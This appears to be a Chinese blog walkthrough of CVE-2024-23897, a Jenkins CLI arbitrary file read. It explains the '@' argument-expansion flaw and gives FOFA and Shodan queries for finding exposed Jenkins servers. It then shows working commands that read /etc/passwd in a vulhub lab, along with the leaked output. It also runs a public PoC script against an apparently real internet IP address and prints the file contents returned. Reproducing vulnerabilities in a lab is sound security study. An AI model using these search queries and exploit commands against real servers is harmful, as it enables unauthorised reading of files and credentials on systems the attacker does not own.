Jenkins:CVE-2024-23897[任意文件读取]

Jenkins简介:一个开源的自动化服务器,它可以帮助自动化各种任务,包括构建、测试和部署软件。

漏洞原理

1.Jenkins服务器在处理客户端远程命令时,Jenkins 使用 args4j 库来解析 Jenkins 控制器上的命令参数和选项。

2.此命令解析器具有一项功能,可将参数中后跟文件路径的 @ 字符替换为文件的内容。

3.此功能默认启用,Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本不会禁用此功能。

FOFA查询语法

(header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols") && port="443"

Shodan语法

http.component:"Jenkins" port:8080

漏洞利用

1.开启vulhub靶场

cd ./vulhub-master/jenkins/CVE-2024-23897

docker-compose up

docker ps

Name Command State Ports


cve-2024-23897_jenkins_1 /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:50000->50000/tcp,:::50000->50000/tcp, 0.0.0.0:5005->5005/tcp,:::5005->5005/tcp,

0.0.0.0:8080->8080/tcp,:::8080->8080/tcp

2.访问网页

http://ip:8080

3.下载客户端用于远程访问

wget http://IP:8080/jnlpJars/jenkins-cli.jar

4.使用客户端连接服务器,指定文件作为参数,回显文件内容

java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 help @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help [COMMAND]
Lists all the available commands or a detailed description of single command.
 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

如果用户权限较高可使用 reload-job 读取文件完整内容

java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd

[root@localhost ~]# java -jar jenkins-cli.jar -s http://192.168.10.5:8080 reload-job @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such item 'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin' exists.
root:x:0:0:root:/root:/bin/bash: No such item 'root:x:0:0:root:/root:/bin/bash' exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such item 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin' exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such item 'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin' exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such item '_apt:x:42:65534::/nonexistent:/usr/sbin/nologin' exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such item 'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin' exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such item 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin' exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such item 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin' exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such item 'bin:x:2:2:bin:/bin:/usr/sbin/nologin' exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such item 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin' exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such item 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin' exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such item 'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin' exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such item 'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin' exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such item 'jenkins:x:1000:1000::/var/jenkins_home:/bin/bash' exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such item 'games:x:5:60:games:/usr/games:/usr/sbin/nologin' exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such item 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin' exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such item 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin' exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such item 'sys:x:3:3:sys:/dev:/usr/sbin/nologin' exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such item 'sync:x:4:65534:sync:/bin:/bin/sync' exists.

poc工具使用

作者地址:GitHub - h4x0r-dz/CVE-2024-23897: CVE-2024-23897

CVE-2024-23897.py

CVE-2024-23897.py [-h] [-u URL] [-l LIST] -f文件

CVE-2024-23897漏洞脚本。

可选参数:
-h,------help显示帮助信息并退出
-u URL,------URL URL单目标URL。
-l LIST,------LIST LIST包含目标主机列表的文件。
-f FILE,------FILE FILE从服务器读取的文件路径。

[root@localhost CVE-2024-23897-main]# python3 CVE-2024-23897.py -u 52.83.63.195:9999 -f /etc/passwd
RESPONSE from 52.83.63.195:9999: b'\x00\x00\x00\x00\x01\x08\n\x00\x00\x00<\x08ERROR: Too many arguments: bin:x:1:1:bin:/bin:/sbin/nologin\n\x00\x00\x00\x1e\x08java -jar jenkins-cli.jar help\x00\x00\x00\n\x08 [COMMAND]\x00\x00\x00\x01\x08\n\x00\x00\x00N\x08Lists all the available commands or a detailed description of single command.\n\x00\x00\x00J\x08 COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)\n\x00\x00\x00\x04\x04\x00\x00\x00\x02'

官方安全公告:Jenkins Security Advisory 2024-01-24

其他漏洞:https://korelogic.com/advisories.html

漏洞分析:Jenkins RCE漏洞PoC发布,CVE-2024-23897漏洞解析 - FreeBuf网络安全行业门户

漏洞利用及java低版本报错解决:Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现 - BMCel - 博客园 (cnblogs.com)

相关推荐
草莓屁屁我不吃44 分钟前
Siri因ChatGPT-4o升级:我们的个人信息还安全吗?
人工智能·安全·chatgpt·chatgpt-4o
寻爱的希斯克利夫4 小时前
tomcat 配置jenkins_home 目录
servlet·tomcat·jenkins
衍生星球4 小时前
【网络安全】对称密码体制
网络·安全·网络安全·密码学·对称密码
xuehaishijue5 小时前
头部检测系统源码分享
安全
nbsaas-boot5 小时前
微服务之间的安全通信
安全·微服务·架构
CaritoB6 小时前
非结构化数据中台架构设计最佳实践
安全
网安加社区6 小时前
国家网络安全宣传周 | 2024年网络安全领域重大政策法规一览
安全·网络安全·政策法规
Wrop6 小时前
网络安全实训八(y0usef靶机渗透实例)
安全·web安全
Coremail邮件安全9 小时前
武汉大学:如何做好高校电子邮件账号安全防护
网络·安全·邮件安全·双因素认证·敏感信息